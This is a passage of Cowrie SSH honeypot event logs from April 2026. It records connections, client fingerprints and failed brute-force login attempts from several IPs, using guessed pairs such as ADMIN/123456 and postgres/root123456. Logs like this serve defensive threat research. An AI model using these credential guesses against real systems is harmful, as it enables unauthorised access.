","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:00.759711Z","src_ip":"103.228.69.212","session":"bb2b5c05b8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployment","password":"deployment","message":"login attempt [deployment/deployment] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:01.709263Z","src_ip":"103.228.69.212","session":"bb2b5c05b8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:02.939743Z","src_ip":"103.228.69.212","session":"bb2b5c05b8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35318,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7f86ec6edc","protocol":"ssh","message":"New connection: 159.203.92.129:35318 (159.203.135.109:22) [session: 7a7f86ec6edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:06.374901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:06.380575Z","src_ip":"159.203.92.129","session":"7a7f86ec6edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:06.385267Z","src_ip":"159.203.92.129","session":"7a7f86ec6edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ABECICFA_gopanel","password":"ABECICFA_gopanel","message":"login attempt [ABECICFA_gopanel/ABECICFA_gopanel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:06.399308Z","src_ip":"159.203.92.129","session":"7a7f86ec6edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:07.406897Z","src_ip":"159.203.92.129","session":"7a7f86ec6edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34744,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d01ee029ba5","protocol":"ssh","message":"New connection: 37.143.61.84:34744 (159.203.135.109:22) [session: 5d01ee029ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:43.381853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:44.087491Z","src_ip":"37.143.61.84","session":"5d01ee029ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:44.187039Z","src_ip":"37.143.61.84","session":"5d01ee029ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58388,"dst_ip":"159.203.135.109","dst_port":22,"session":"954a61eddacd","protocol":"ssh","message":"New connection: 159.203.92.129:58388 (159.203.135.109:22) [session: 954a61eddacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:47.481467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:47.485992Z","src_ip":"159.203.92.129","session":"954a61eddacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:47.490064Z","src_ip":"159.203.92.129","session":"954a61eddacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ADMIN","password":"123456","message":"login attempt [ADMIN/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:47.541971Z","src_ip":"159.203.92.129","session":"954a61eddacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:48.552195Z","src_ip":"159.203.92.129","session":"954a61eddacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:52.099652Z","src_ip":"37.143.61.84","session":"5d01ee029ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":51602,"dst_ip":"159.203.135.109","dst_port":22,"session":"632d547ccf60","protocol":"ssh","message":"New connection: 103.228.69.212:51602 (159.203.135.109:22) [session: 632d547ccf60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:59.856632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:13:59.860829Z","src_ip":"103.228.69.212","session":"632d547ccf60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:00.097232Z","src_ip":"103.228.69.212","session":"632d547ccf60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12344321","message":"login attempt [admin/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:01.067386Z","src_ip":"103.228.69.212","session":"632d547ccf60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:02.304738Z","src_ip":"103.228.69.212","session":"632d547ccf60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":33549,"dst_ip":"159.203.135.109","dst_port":22,"session":"57423dfcfb06","protocol":"ssh","message":"New connection: 193.46.255.86:33549 (159.203.135.109:22) [session: 57423dfcfb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:23.801346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:23.806581Z","src_ip":"193.46.255.86","session":"57423dfcfb06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:23.947846Z","src_ip":"193.46.255.86","session":"57423dfcfb06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:24.586466Z","src_ip":"193.46.255.86","session":"57423dfcfb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:25.731588Z","src_ip":"193.46.255.86","session":"57423dfcfb06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45118,"dst_ip":"159.203.135.109","dst_port":22,"session":"2205d732a27b","protocol":"ssh","message":"New connection: 159.203.92.129:45118 (159.203.135.109:22) [session: 2205d732a27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:29.460945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:29.465141Z","src_ip":"159.203.92.129","session":"2205d732a27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:29.469281Z","src_ip":"159.203.92.129","session":"2205d732a27b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI-T1","password":"123","message":"login attempt [AI-T1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:29.487416Z","src_ip":"159.203.92.129","session":"2205d732a27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:30.494744Z","src_ip":"159.203.92.129","session":"2205d732a27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":40816,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb36496531d","protocol":"ssh","message":"New connection: 103.228.69.212:40816 (159.203.135.109:22) [session: cfb36496531d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:57.760896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:57.765512Z","src_ip":"103.228.69.212","session":"cfb36496531d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:57.997084Z","src_ip":"103.228.69.212","session":"cfb36496531d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root123456","message":"login attempt [postgres/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:14:58.947424Z","src_ip":"103.228.69.212","session":"cfb36496531d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:00.181106Z","src_ip":"103.228.69.212","session":"cfb36496531d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48612,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8ae05ceedbb","protocol":"ssh","message":"New connection: 159.203.92.129:48612 (159.203.135.109:22) [session: c8ae05ceedbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:12.837129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:15:12.842217Z","src_ip":"159.203.92.129","session":"c8ae05ceedbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-c